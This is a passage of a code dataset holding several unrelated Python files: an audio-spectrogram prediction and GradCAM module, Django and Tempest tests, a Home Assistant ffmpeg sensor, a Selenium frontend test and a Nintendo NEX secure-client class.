__len__(self):\n return self.data.shape[0]\n\n def __getitem__(self, idx):\n row = self.data.iloc[idx, :]\n image = Image.open(row[\"filename\"])\n image = image.convert(\"RGB\")\n image = image.resize((self.width, self.height))\n\n return self.transform(image) # , torch.from_numpy(labels)\n\n # turn list of files into a df (this maintains parallelism with training format)\n file_df = pd.DataFrame(columns=[\"filename\"], data=img_paths)\n\n # create pytorch dataset and dataloader objects\n dataset = PredictionDataset(file_df)\n dataloader = torch.utils.data.DataLoader(\n dataset, batch_size=batch_size, shuffle=False, num_workers=num_workers\n )\n\n # run prediction\n all_predictions = []\n for i, inputs in enumerate(dataloader):\n predictions = model(inputs)\n if apply_softmax:\n softmax_val = softmax(predictions, 1).detach().cpu().numpy()[0]\n all_predictions.append(softmax_val)\n else:\n all_predictions.append(\n list(predictions.detach().numpy()[0])\n ) # .astype('float64')\n\n # how do we get class names? are they saved in the file?\n # the column names should be class names\n return pd.DataFrame(index=img_paths, data=all_predictions)\n\n\n##### a set of functions for gradcam event detection (maybe these become a separate module) ###\ndef activation_region_limits(gcam, threshold=0.2):\n \"\"\"\n calculate bounds of a GradCam activation region\n \n Args:\n gcam: a 2-d array gradcam activation array generated by gradcam_region()\n threshold=0.2: minimum value of gradcam (0-1) to count as 'activated'\n \n Returns:\n [ [min row, max_row], [min_col, max_col] ] indices of gradcam elements exceeding threshold\"\"\"\n img_shape = np.shape(gcam)\n arr = np.array(gcam)\n binary_activation = np.array([binarize(row, threshold) for row in arr])\n non_zero_rows, non_zero_cols = np.nonzero(binary_activation)\n\n # handle corner case: no rows / cols pass threshold\n row_lims = (\n [min(non_zero_rows), max(non_zero_rows)]\n if len(non_zero_rows) > 0\n else [0, img_shape[0]]\n )\n col_lims = (\n [min(non_zero_cols), max(non_zero_cols)]\n if len(non_zero_cols) > 0\n else [0, img_shape[1]]\n )\n box_lims = np.array([row_lims, col_lims])\n\n return box_lims\n\n\ndef in_box(x, y, box_lims):\n \"\"\"check if an x, y position falls within a set of limits\n \n Args:\n x: first index\n y: second index\n box_lims: [[x low,x high], [y low,y high]]\n Returns: True if (x,y) is in box_lims, otherwise False \n \n \"\"\"\n if x > box_lims[0, 0] and y > box_lims[1, 0]:\n if x < box_lims[0, 1] and y < box_lims[1, 1]:\n return True\n return False\n\n\ndef activation_region_to_box(activation_region, threshold=0.2):\n \"\"\"draw a rectangle of the activation box as a boolean array\n (useful for plotting a mask over a spectrogram)\n \n Args:\n activation_region: a 2-d gradcam activation array\n threshold=0.2: minimum value of activation to count as 'activated'\n Returns:\n mask 2-d array of 0, 1 where 1's form a solid box of activated region\n \"\"\"\n img_shape = np.shape(activation_region)\n box_lims = activation_region_limits(activation_region, threshold)\n box_mask_arr = [\n [1 if in_box(xi, yi, box_lims) else 0 for yi in range(img_shape[0])]\n for xi in range(img_shape[1])\n ]\n return box_mask_arr\n\n\n# def save_gradcam(filename, gcam, raw_image):\n# \"\"\"save spectrogram + gradcam to image file. currently not used.\"\"\"\n# h, w, _ = raw_image.shape\n# gcam = cv2.resize(gcam, (w, h))\n# gcam = cv2.applyColorMap(np.uint8(gcam * 255.0), cv2.COLORMAP_JET)\n# gcam = gcam.astype(np.float) + raw_image.astype(np.float)\n# gcam = gcam / gcam.max() * 255.0\n# cv2.imwrite(filename, np.uint8(gcam))\n\n\ndef gradcam_region(\n model, img_paths, img_shape, predictions=None, save_gcams=True, box_threshold=0.2\n):\n \"\"\"\n Compute the GradCam activation region (the area of an image that was most important for classification in the CNN)\n \n parameters:\n model: a pytorch model object\n img_paths: list of paths to image files\n predictions = None: [list of float] optionally, provide model predictions per file to avoid re-computing\n save_gcams = True: bool, if False only box regions around gcams are saved\n \n returns:\n boxes: limits of the box surrounding the gcam activation region, as indices: [ [min row, max row], [min col, max col] ] \n gcams: (only returned if save_gcams == True) arrays with gcam activation values, shape = shape of image\n \"\"\"\n from grad_cam import BackPropagation, Deconvolution, GradCAM, GuidedBackPropagation\n import cv2\n\n gcams = [None] * len(img_paths)\n boxes = [None] * len(img_paths)\n\n # establish a transformation function for normalizing images\n transform = transforms.Compose(\n [\n transforms.ToTensor(),\n transforms.Normalize(\n mean=[0.8013 for _ in range(3)], std=[0.1576 for _ in range(3)]\n ),\n ]\n )\n\n for i, img in enumerate(img_paths):\n raw_image = Image.open(img)\n raw_image = raw_image.resize(size=img_shape)\n image = transform(raw_image).unsqueeze(0)\n\n # generate model predictions, if they weren't provided\n if predictions is None:\n with torch.set_grad_enabled(False):\n logits = model(image) # .cuda())\n softmax_num = softmax(logits, 1).detach().cpu().numpy()[0]\n else:\n logits = predictions[i]\n\n # gradcam and guided back propogation\n gcam = GradCAM(model=model)\n gcam.forward(image) # .cuda());\n\n gbp = GuidedBackPropagation(model=model)\n probs, idx = gbp.forward(image) # .cuda())\n\n gcam.backward(idx=idx[0])\n region = gcam.generate(target_layer=\"layer4.1.conv2\")\n gcam = cv2.resize(region, img_shape)\n\n # find min/max indices of rows/columns that were activated\n box_bounds = activation_region_limits(gcam, threshold=box_threshold)\n\n if save_gcams:\n gcams[i] = gcam\n boxes[i] = box_bounds\n\n if save_gcams:\n return boxes, gcams\n return boxes\n","sub_path":"opensoundscape/pytorch_prediction.py","file_name":"pytorch_prediction.py","file_ext":"py","file_size_in_byte":7970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"484499644","text":"import os\n\nimport jwt\n\nfrom django.test import TestCase\n\nfrom django.core.urlresolvers import reverse\n\nfrom rest_framework.test import APIRequestFactory\n\nfrom signing_service.receipts.views import ReceiptsView\n\n\ndef test_file(fname):\n return os.path.join(os.path.dirname(__file__), 'assets', fname)\ntest_file.__test__ = False # noqa\n\n\nclass ReceiptsViewTest(TestCase):\n\n def setUp(self):\n self.view = ReceiptsView.as_view()\n self.factory = APIRequestFactory()\n with open(test_file('test_crt.jwk')) as f:\n self.issuer = jwt.decode(f.read(), verify=False)\n\n def test_no_get(self):\n request = self.factory.get('/1.0/sign')\n response = self.view(request)\n self.assertEqual(response.status_code, 405)\n\n def test_no_body(self):\n request = self.factory.post('/1.0/sign')\n response = self.view(request)\n self.assertEqual(response.status_code, 400)\n\n def test_empty_json(self):\n request = self.factory.post('/1.0/sign', {})\n response = self.view(request)\n self.assertEqual(response.status_code, 400)\n\n def test_incorrect_json(self):\n request = self.factory.post('/1.0/sign', {'b': 'a'}, format='json')\n response = self.view(request)\n self.assertEqual(response.status_code, 400)\n self.assertEqual(response.data['detail'],\n 'Required key \"detail\" missing')\n\n def test_correct_receipt(self):\n receipt = {\"typ\": \"purchase-receipt\",\n \"product\": {\"url\": \"https://grumpybadgers.com\",\n \"storedata\": \"5169314356\"},\n \"user\": {\"type\": \"email\",\n \"value\": \"pickles@example9.com\"},\n \"iss\": \"https://marketplace-dev.allizom.org\",\n \"nbf\": self.issuer['iat'],\n \"iat\": self.issuer['iat'],\n \"detail\": \"https://appstore.com/receipt/5169314356\",\n \"verify\": \"https://appstore.com/verify/5169314356\"}\n request = self.factory.post('/1.0/sign', receipt, format='json')\n response = self.view(request)\n signed_receipt, certificate = response.data['receipt'].split('~')\n self.assertEqual(receipt, jwt.decode(signed_receipt, verify=False))\n","sub_path":"signing_service/receipts/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"525178037","text":"\"\"\"\nContains settings for only production environment.\nNote: DEBUG is already set to False in base config.\n\"\"\"\n\nfrom .base import *\nimport warnings\n\nINTERNAL_IPS = [\"127.0.0.1\"]\n\n###### ADD INSTALLED APPS ######\nTHIRD_APPS = [\n\n]\n\nLOCAL_APPS = [\n \n]\n\nINSTALLED_APPS = INSTALLED_APPS + THIRD_APPS + LOCAL_APPS\n\nwarnings.warn(\"Do not forget to set ALLOWED_HOSTS variable in DOTENV file.\", RuntimeWarning)","sub_path":"main/settings/production.py","file_name":"production.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"599464582","text":"\"\"\"\nProvides a binary sensor which is a collection of ffmpeg tools.\n\nFor more details about this platform, please refer to the documentation at\nhttps://home-assistant.io/components/binary_sensor.ffmpeg/\n\"\"\"\nimport asyncio\nimport logging\nimport os\n\nimport voluptuous as vol\n\nimport homeassistant.helpers.config_validation as cv\nfrom homeassistant.components.binary_sensor import (\n BinarySensorDevice, PLATFORM_SCHEMA, DOMAIN)\nfrom homeassistant.components.ffmpeg import (\n DATA_FFMPEG, CONF_INPUT, CONF_OUTPUT, CONF_EXTRA_ARGUMENTS)\nfrom homeassistant.config import load_yaml_config_file\nfrom homeassistant.const import (\n EVENT_HOMEASSISTANT_STOP, EVENT_HOMEASSISTANT_START, CONF_NAME,\n ATTR_ENTITY_ID)\n\nDEPENDENCIES = ['ffmpeg']\n\n_LOGGER = logging.getLogger(__name__)\n\nSERVICE_START = 'ffmpeg_start'\nSERVICE_STOP = 'ffmpeg_stop'\nSERVICE_RESTART = 'ffmpeg_restart'\n\nDATA_FFMPEG_DEVICE = 'ffmpeg_binary_sensor'\n\nFFMPEG_SENSOR_NOISE = 'noise'\nFFMPEG_SENSOR_MOTION = 'motion'\n\nMAP_FFMPEG_BIN = [\n FFMPEG_SENSOR_NOISE,\n FFMPEG_SENSOR_MOTION\n]\n\nCONF_INITIAL_STATE = 'initial_state'\nCONF_TOOL = 'tool'\nCONF_PEAK = 'peak'\nCONF_DURATION = 'duration'\nCONF_RESET = 'reset'\nCONF_CHANGES = 'changes'\nCONF_REPEAT = 'repeat'\nCONF_REPEAT_TIME = 'repeat_time'\n\nDEFAULT_NAME = 'FFmpeg'\nDEFAULT_INIT_STATE = True\n\nPLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({\n vol.Required(CONF_TOOL): vol.In(MAP_FFMPEG_BIN),\n vol.Required(CONF_INPUT): cv.string,\n vol.Optional(CONF_INITIAL_STATE, default=DEFAULT_INIT_STATE): cv.boolean,\n vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string,\n vol.Optional(CONF_EXTRA_ARGUMENTS): cv.string,\n vol.Optional(CONF_OUTPUT): cv.string,\n vol.Optional(CONF_PEAK, default=-30): vol.Coerce(int),\n vol.Optional(CONF_DURATION, default=1):\n vol.All(vol.Coerce(int), vol.Range(min=1)),\n vol.Optional(CONF_RESET, default=10):\n vol.All(vol.Coerce(int), vol.Range(min=1)),\n vol.Optional(CONF_CHANGES, default=10):\n vol.All(vol.Coerce(float), vol.Range(min=0, max=99)),\n vol.Optional(CONF_REPEAT, default=0):\n vol.All(vol.Coerce(int), vol.Range(min=0)),\n vol.Optional(CONF_REPEAT_TIME, default=0):\n vol.All(vol.Coerce(int), vol.Range(min=0)),\n})\n\nSERVICE_FFMPEG_SCHEMA = vol.Schema({\n vol.Optional(ATTR_ENTITY_ID): cv.entity_ids,\n})\n\n\ndef restart(hass, entity_id=None):\n \"\"\"Restart a ffmpeg process on entity.\"\"\"\n data = {ATTR_ENTITY_ID: entity_id} if entity_id else {}\n hass.services.call(DOMAIN, SERVICE_RESTART, data)\n\n\n@asyncio.coroutine\ndef async_setup_platform(hass, config, async_add_devices, discovery_info=None):\n \"\"\"Create the binary sensor.\"\"\"\n from haffmpeg import SensorNoise, SensorMotion\n\n # check source\n if not hass.data[DATA_FFMPEG].async_run_test(config.get(CONF_INPUT)):\n return\n\n # generate sensor object\n if config.get(CONF_TOOL) == FFMPEG_SENSOR_NOISE:\n entity = FFmpegNoise(hass, SensorNoise, config)\n else:\n entity = FFmpegMotion(hass, SensorMotion, config)\n\n @asyncio.coroutine\n def async_shutdown(event):\n \"\"\"Stop ffmpeg.\"\"\"\n yield from entity.async_shutdown_ffmpeg()\n\n hass.bus.async_listen_once(\n EVENT_HOMEASSISTANT_STOP, async_shutdown)\n\n # start on startup\n if config.get(CONF_INITIAL_STATE):\n @asyncio.coroutine\n def async_start(event):\n \"\"\"Start ffmpeg.\"\"\"\n yield from entity.async_start_ffmpeg()\n yield from entity.async_update_ha_state()\n\n hass.bus.async_listen_once(\n EVENT_HOMEASSISTANT_START, async_start)\n\n # add to system\n yield from async_add_devices([entity])\n\n # exists service?\n if hass.services.has_service(DOMAIN, SERVICE_RESTART):\n hass.data[DATA_FFMPEG_DEVICE].append(entity)\n return\n hass.data[DATA_FFMPEG_DEVICE] = [entity]\n\n descriptions = yield from hass.loop.run_in_executor(\n None, load_yaml_config_file,\n os.path.join(os.path.dirname(__file__), 'services.yaml'))\n\n # register service\n @asyncio.coroutine\n def async_service_handle(service):\n \"\"\"Handle service binary_sensor.ffmpeg_restart.\"\"\"\n entity_ids = service.data.get('entity_id')\n\n if entity_ids:\n _devices = [device for device in hass.data[DATA_FFMPEG_DEVICE]\n if device.entity_id in entity_ids]\n else:\n _devices = hass.data[DATA_FFMPEG_DEVICE]\n\n tasks = []\n for device in _devices:\n if service.service == SERVICE_START:\n tasks.append(device.async_start_ffmpeg())\n elif service.service == SERVICE_STOP:\n tasks.append(device.async_shutdown_ffmpeg())\n else:\n tasks.append(device.async_restart_ffmpeg())\n\n if tasks:\n yield from asyncio.wait(tasks, loop=hass.loop)\n\n hass.services.async_register(\n DOMAIN, SERVICE_START, async_service_handle,\n descriptions.get(SERVICE_START), schema=SERVICE_FFMPEG_SCHEMA)\n\n hass.services.async_register(\n DOMAIN, SERVICE_STOP, async_service_handle,\n descriptions.get(SERVICE_STOP), schema=SERVICE_FFMPEG_SCHEMA)\n\n hass.services.async_register(\n DOMAIN, SERVICE_RESTART, async_service_handle,\n descriptions.get(SERVICE_RESTART), schema=SERVICE_FFMPEG_SCHEMA)\n\n\nclass FFmpegBinarySensor(BinarySensorDevice):\n \"\"\"A binary sensor which use ffmpeg for noise detection.\"\"\"\n\n def __init__(self, hass, ffobj, config):\n \"\"\"Constructor for binary sensor noise detection.\"\"\"\n self._manager = hass.data[DATA_FFMPEG]\n self._state = False\n self._config = config\n self._name = config.get(CONF_NAME)\n self._ffmpeg = ffobj(\n self._manager.binary, hass.loop, self._async_callback)\n\n def _async_callback(self, state):\n \"\"\"HA-FFmpeg callback for noise detection.\"\"\"\n self._state = state\n self.hass.async_add_job(self.async_update_ha_state())\n\n def async_start_ffmpeg(self):\n \"\"\"Start a FFmpeg instance.\n\n This method must be run in the event loop and returns a coroutine.\n \"\"\"\n raise NotImplementedError()\n\n def async_shutdown_ffmpeg(self):\n \"\"\"For STOP event to shutdown ffmpeg.\n\n This method must be run in the event loop and returns a coroutine.\n \"\"\"\n return self._ffmpeg.close()\n\n @asyncio.coroutine\n def async_restart_ffmpeg(self):\n \"\"\"Restart processing.\"\"\"\n yield from self.async_shutdown_ffmpeg()\n yield from self.async_start_ffmpeg()\n\n @property\n def is_on(self):\n \"\"\"True if the binary sensor is on.\"\"\"\n return self._state\n\n @property\n def should_poll(self):\n \"\"\"Return True if entity has to be polled for state.\"\"\"\n return False\n\n @property\n def name(self):\n \"\"\"Return the name of the entity.\"\"\"\n return self._name\n\n @property\n def available(self):\n \"\"\"Return True if entity is available.\"\"\"\n return self._ffmpeg.is_running\n\n\nclass FFmpegNoise(FFmpegBinarySensor):\n \"\"\"A binary sensor which use ffmpeg for noise detection.\"\"\"\n\n def async_start_ffmpeg(self):\n \"\"\"Start a FFmpeg instance.\n\n This method must be run in the event loop and returns a coroutine.\n \"\"\"\n # init config\n self._ffmpeg.set_options(\n time_duration=self._config.get(CONF_DURATION),\n time_reset=self._config.get(CONF_RESET),\n peak=self._config.get(CONF_PEAK),\n )\n\n # run\n return self._ffmpeg.open_sensor(\n input_source=self._config.get(CONF_INPUT),\n output_dest=self._config.get(CONF_OUTPUT),\n extra_cmd=self._config.get(CONF_EXTRA_ARGUMENTS),\n )\n\n @property\n def sensor_class(self):\n \"\"\"Return the class of this sensor, from SENSOR_CLASSES.\"\"\"\n return \"sound\"\n\n\nclass FFmpegMotion(FFmpegBinarySensor):\n \"\"\"A binary sensor which use ffmpeg for noise detection.\"\"\"\n\n def async_start_ffmpeg(self):\n \"\"\"Start a FFmpeg instance.\n\n This method must be run in the event loop and returns a coroutine.\n \"\"\"\n # init config\n self._ffmpeg.set_options(\n time_reset=self._config.get(CONF_RESET),\n time_repeat=self._config.get(CONF_REPEAT_TIME),\n repeat=self._config.get(CONF_REPEAT),\n changes=self._config.get(CONF_CHANGES),\n )\n\n # run\n return self._ffmpeg.open_sensor(\n input_source=self._config.get(CONF_INPUT),\n extra_cmd=self._config.get(CONF_EXTRA_ARGUMENTS),\n )\n\n @property\n def sensor_class(self):\n \"\"\"Return the class of this sensor, from SENSOR_CLASSES.\"\"\"\n return \"motion\"\n","sub_path":"homeassistant/components/binary_sensor/ffmpeg.py","file_name":"ffmpeg.py","file_ext":"py","file_size_in_byte":8769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"611828901","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n#\n\nimport copy\nimport json\nimport time\n\nfrom tempest.api.aflo import base\nfrom tempest import config_aflo as config\nfrom tempest.lib import exceptions\n\nfrom tempest.api.aflo import test_ticket\nfrom tempest.api.aflo import test_tickettemplate\nfrom tempest.api.aflo import test_workflowpattern\n\nCONF = config.CONF\n\n_RETRY_COUNT = 10\n\nTICKET_DETAIL = {'type': 'maintenance',\n 'title': unicode('a' * 255),\n 'language': 'en',\n 'field_maintext': 'xxxxx\\nxxxxx\\nxxxxx',\n 'field_workdays': '2016-06-27T00:00:00.000000',\n 'field_target': 'xxxxx\\nxxxxx\\nxxxxx',\n 'field_workcontent': 'xxxxx\\nxxxxx\\nxxxxx',\n 'field_acknowledgements': 'xxxxx\\nxxxxx\\nxxxxx',\n 'field_category': 'new',\n 'scope': 'project',\n 'target_name': 'xxxxxxx',\n 'field_tenantid': 'xxxxx',\n 'field_region': 'xxxxx',\n 'field_announcementdate': '2016-06-27T00:00:00.000000',\n 'publish_on': '2100-12-30T00:00:00.000000',\n 'unpublish_on': '2100-12-31T00:00:00.000000',\n 'message': 'xxxxx\\nxxxxx\\nxxxxx'}\n\n\nclass TicketAdminTest(base.BaseV1AfloAdminTest):\n \"\"\"AFLO Test Class by admin\"\"\"\n\n @classmethod\n def resource_setup(cls):\n \"\"\"Setup Resources\"\"\"\n super(TicketAdminTest, cls).resource_setup()\n\n def _create_ticket(self, ticket_template_id, ticket_detail):\n \"\"\"Create ticket data\n :param ticket_template_id: Ticket template id.\n \"\"\"\n field = {'ticket_template_id': ticket_template_id,\n 'status_code': 'pre-approval',\n 'ticket_detail': json.dumps(ticket_detail)}\n\n req, body = self.aflo_client.create_ticket(field)\n ticket = body['ticket']\n\n self.assertTrue(ticket['id'] is not None)\n\n for c in range(0, _RETRY_COUNT):\n try:\n req, body = self.aflo_client.get_ticket(ticket['id'])\n except Exception:\n if c < _RETRY_COUNT - 1:\n time.sleep(10)\n else:\n raise exceptions.TimeoutException(str(body))\n continue\n\n return ticket['id']\n\n def _update_ticket(self, ticket_id, next_status):\n \"\"\"Update ticket data.\n :param ticket_id: ticket id.\n :param next_status: next status code.\n \"\"\"\n # Get records for update.\n req, body = self.aflo_client.get_ticket(ticket_id)\n workflows = body['workflow']\n\n last = filter(lambda row:\n row[\"status\"] == 1,\n workflows)[0]\n next = filter(lambda row:\n row[\"status_code\"] == next_status,\n workflows)[0]\n\n # Update data.\n field = {'last_workflow_id': last[\"id\"],\n 'next_workflow_id': next[\"id\"],\n 'last_status_code': last[\"status_code\"],\n 'next_status_code': next[\"status_code\"],\n 'additional_data': json.dumps(TICKET_DETAIL)}\n self.aflo_client.update_ticket(ticket_id, field)\n\n # Check Updated status.\n for c in range(0, _RETRY_COUNT):\n req, body = self.aflo_client.get_ticket(ticket_id)\n workflow = body['workflow']\n now_status = filter(lambda row:\n row[\"status_code\"] == next_status,\n workflow)\n # DB Entry is asynchronous process.\n # Wait for a seconds.\n if now_status[0][\"status\"] != 1:\n if c < _RETRY_COUNT - 1:\n time.sleep(10)\n else:\n raise exceptions.TimeoutException(str(body))\n else:\n break\n\n def test_handler(self):\n \"\"\"Tests from the application to final approval\"\"\"\n # Create data.\n workflow_pattern_id = test_workflowpattern.create_workflow_pattern(\n self, [\"workflow_pattern_contents_add_announcement.json\"])\n ticket_template_id = test_tickettemplate.create_ticket_template(\n self,\n [\"ticket_template_contents_add_announcement\"], '20160627')\n\n ticket_detail = copy.deepcopy(TICKET_DETAIL)\n # Not exist data.\n ticket_detail['field_category'] = 'xxxxx'\n try:\n self._create_ticket(ticket_template_id[0], ticket_detail)\n except Exception:\n pass\n\n ticket_detail = copy.deepcopy(TICKET_DETAIL)\n # Required data.\n ticket_detail['title'] = ''\n\n ticket_ids = []\n ticket_id = self._create_ticket(ticket_template_id[0], ticket_detail)\n ticket_ids.append(ticket_id)\n try:\n self._update_ticket(ticket_id, 'final approval')\n except Exception:\n pass\n\n ticket_detail = copy.deepcopy(TICKET_DETAIL)\n # Limit over data.\n ticket_detail['title'] = unicode('a' * 256)\n\n ticket_id = self._create_ticket(ticket_template_id[0], ticket_detail)\n ticket_ids.append(ticket_id)\n try:\n self._update_ticket(ticket_id, 'final approval')\n except Exception:\n pass\n\n ticket_detail = copy.deepcopy(TICKET_DETAIL)\n ticket_detail['title'] = unicode('a' * 255)\n\n ticket_id = self._create_ticket(ticket_template_id[0], ticket_detail)\n ticket_ids.append(ticket_id)\n self._update_ticket(ticket_id, 'final approval')\n\n # Delete data.\n for ticket_id in ticket_ids:\n test_ticket.delete_ticket(self, ticket_id)\n test_tickettemplate.delete_ticket_template(self, ticket_template_id)\n test_workflowpattern.delete_workflow_pattern(self, workflow_pattern_id)\n","sub_path":"contrib/tempest/tempest/api/aflo/test_sample_add_announcement_handler.py","file_name":"test_sample_add_announcement_handler.py","file_ext":"py","file_size_in_byte":6371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"156911092","text":"import unittest\nimport time\nfrom typing import List\nfrom selenium import webdriver\nfrom selenium.webdriver.firefox.webdriver import WebDriver\nimport psutil\n\nGECKO_DRIVER = 'geckodriver'\n\nMP_ROOT_URL = 'http://34.229.238.197/'\n\nMANAGER_PAGE_URLS = [\n MP_ROOT_URL + \"students\",\n MP_ROOT_URL + \"tests\"\n ]\n\nPROFESSOR_PAGE_URLS = [\n MP_ROOT_URL + \"schedules\"\n ]\n\nLOGINS = {\n \"manager\": \"dev@tarex.me\",\n \"professor\": \"dev3@tarex.me\"\n}\n\nclass TestFrontend(unittest.TestCase):\n def test_managers(self):\n web_driver = create_web_driver()\n web_driver.get(MP_ROOT_URL)\n\n login(LOGINS['manager'], self, web_driver)\n\n navigation_links = web_driver.find_elements_by_class_name('nav-link')\n urls = set(map(lambda l: l.get_attribute('href'), navigation_links))\n\n for url in MANAGER_PAGE_URLS:\n self.assertIn(url, urls)\n web_driver.get(url)\n self.assertEqual(url, web_driver.current_url)\n _test_page_actions(url, self, web_driver)\n\n logout(self, web_driver)\n\n web_driver_quit(web_driver, self)\n\ndef create_web_driver() -> WebDriver:\n web_driver = webdriver.Firefox()\n web_driver.implicitly_wait(10)\n return web_driver\n\ndef web_driver_quit(web_driver: WebDriver, test_case: TestFrontend):\n web_driver.quit()\n test_case.assertFalse(GECKO_DRIVER in (p.name() for p in psutil.process_iter()))\n\n\ndef login(email: str, test_case: TestFrontend, web_driver: WebDriver):\n web_driver.get(MP_ROOT_URL + \"login\")\n login_input = web_driver.find_element_by_id(\"email\")\n login_input.send_keys(email)\n password_input = web_driver.find_element_by_id('password')\n password_input.send_keys(email)\n login_button = web_driver.find_element_by_class_name('btn-primary')\n login_button.click()\n test_case.assertEqual(web_driver.current_url, MP_ROOT_URL + 'home')\n message_box = web_driver.find_element_by_class_name('card-body')\n test_case.assertIn('You are logged in!', message_box.text)\n login_name = web_driver.find_element_by_id('navbarDropdown')\n test_case.assertIn(email, login_name.text)\n\ndef logout(test_case: TestFrontend, web_driver: WebDriver):\n nav_bar = web_driver.find_element_by_id('navbarDropdown')\n nav_bar.click()\n logout_button = web_driver.find_element_by_class_name('dropdown-item')\n logout_button.click()\n test_case.assertIn(web_driver.current_url, MP_ROOT_URL)\n\ndef _create_delete_test(test_name: str, web_driver: WebDriver, test_case: TestFrontend):\n create_test_link = \\\n web_driver.find_element_by_class_name('card-header').find_element_by_tag_name('a')\n create_test_link.click()\n test_case.assertEqual(web_driver.current_url, MANAGER_PAGE_URLS[1] + '/create')\n name_input = web_driver.find_element_by_id('name')\n name_input.send_keys(test_name)\n create_button = web_driver.find_element_by_class_name('btn-success')\n create_button.click()\n table_values = _get_table_values(web_driver)\n test_case.assertIn(test_name, table_values)\n last_delete_button = web_driver.find_elements_by_class_name('btn-danger')[-1]\n last_delete_button.click()\n test_case.assertNotIn(test_name, _get_table_values(web_driver))\n\ndef _edit_test(web_driver: WebDriver, test_case: TestFrontend):\n def get_edit_button():\n return web_driver.find_element_by_class_name('btn-primary')\n\n def get_name_input():\n return web_driver.find_element_by_id('name')\n\n def get_update_btn():\n return web_driver.find_element_by_class_name('btn-success')\n edit_button = get_edit_button()\n old_name = web_driver.find_element_by_tag_name('td').text\n edit_button.click()\n test_case.assertIn('edit', web_driver.current_url)\n name_input = get_name_input()\n name_input.clear()\n new_name = f'{old_name} #{int(time.time())}'\n name_input.send_keys(new_name)\n update_button = get_update_btn()\n update_button.click()\n _check_table_fields([new_name], web_driver, test_case)\n edit_button = get_edit_button()\n edit_button.click()\n name_input = get_name_input()\n name_input.clear()\n name_input.send_keys(old_name)\n update_button = get_update_btn()\n update_button.click()\n _check_table_fields([new_name], web_driver, test_case)\n _check_table_fields([old_name], web_driver, test_case)\n\ndef _get_table_values(web_driver: WebDriver):\n return set(map(lambda e: e.text, web_driver.find_elements_by_tag_name('td')))\n\ndef _check_table_fields(preview_fields: List[str], web_driver: WebDriver, test_case: TestFrontend):\n check_fields = _get_table_values(web_driver)\n for field in preview_fields:\n test_case.assertIn(field, check_fields)\n\ndef _get_int_time() -> int:\n return int(time.time())\n\ndef _create_delete_answer(web_driver: WebDriver, test_case: TestFrontend):\n view_button = web_driver.find_element_by_class_name('btn-success')\n view_button.click()\n create_link = web_driver.find_element_by_class_name('card-header').find_element_by_tag_name('a')\n create_link.click()\n question_input = web_driver.find_elements_by_id('question')\n question_name = f'My Cool Question #{_get_int_time()}'\n question_input.send_keys(question_name)\n create_button = web_driver.find_element_by_class_name('btn-success')\n create_button.click()\n _check_table_fields([question_name], web_driver, test_case)\n delete_button = web_driver.find_elements_by_class_name('btn-danger')[-1]\n delete_button.click()\n _check_table_fields([question_name], web_driver, test_case)\n\ndef _test_page_actions(page_url: str, test_case: TestFrontend, web_driver: WebDriver):\n if page_url == MANAGER_PAGE_URLS[0]:\n view_button = web_driver.find_element_by_class_name('btn-success')\n preview_fields = \\\n set(filter(lambda f: f != 'View',\n map(lambda e: e.text, web_driver.find_elements_by_tag_name('td'))))\n view_button.click()\n test_case.assertGreater(len(preview_fields & _get_table_values(web_driver)), 0)\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"frontend_testing.py","file_name":"frontend_testing.py","file_ext":"py","file_size_in_byte":6081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"410521542","text":"\nfrom nintendo.nex.service import ServiceClient\nfrom nintendo.nex.kerberos import KerberosEncryption\nfrom nintendo.nex.stream import NexStreamOut\nfrom nintendo.nex.common import NexEncoder, DataHolder, StationUrl\nimport random\n\nimport logging\nlogger = logging.getLogger(__name__)\n\n\nclass ConnectionData(NexEncoder):\n\tversion_map = {\n\t\t30504: 0,\n\t\t30810: 0\n\t}\n\t\n\tdef decode_old(self, stream):\n\t\tself.station = StationUrl.parse(stream.string())\n\t\tself.connection_id = stream.u32()\n\t\t\n\tdecode_v0 = decode_old\n\n\nclass SecureClient(ServiceClient):\n\t\n\tMETHOD_REGISTER = 1\n\tMETHOD_REQUEST_CONNECTION_DATA = 2\n\tMETHOD_REQUEST_URLS = 3\n\tMETHOD_REGISTER_EX = 4\n\tMETHOD_TEST_CONNECTIVITY = 5\n\tMETHOD_UPDATE_URLS = 6\n\tMETHOD_REPLACE_URL = 7\n\tMETHOD_SEND_REPORT = 8\n\t\n\tPROTOCOL_ID = 0xB\n\t\n\tdef __init__(self, back_end, key, ticket, auth_client):\n\t\tsuper().__init__(back_end, key)\n\t\tself.ticket = ticket\n\t\tself.auth_client = auth_client\n\t\tself.kerberos_encryption = KerberosEncryption(self.ticket.key)\n\t\t\n\t\tstation_url = self.auth_client.secure_station\n\t\tself.connection_id = station_url[\"CID\"]\n\t\tself.principal_id = station_url[\"PID\"]\n\t\t\n\tdef connect(self, host, port):\n\t\tstream = NexStreamOut(self.back_end.version)\n\t\tstream.data(self.ticket.data)\n\t\t\n\t\tsubstream = NexStreamOut(self.back_end.version)\n\t\tsubstream.u32(self.auth_client.user_id)\n\t\tsubstream.u32(self.connection_id)\n\t\tsubstream.u32(random.randint(0, 0xFFFFFFFF)) #Used to check connection response\n\t\t\n\t\tstream.data(self.kerberos_encryption.encrypt(substream.buffer))\n\t\tsuper().connect(host, port, stream.buffer)\n\t\t\n\t\tself.set_secure_key(self.ticket.key)\n\n\tdef register_urls(self, 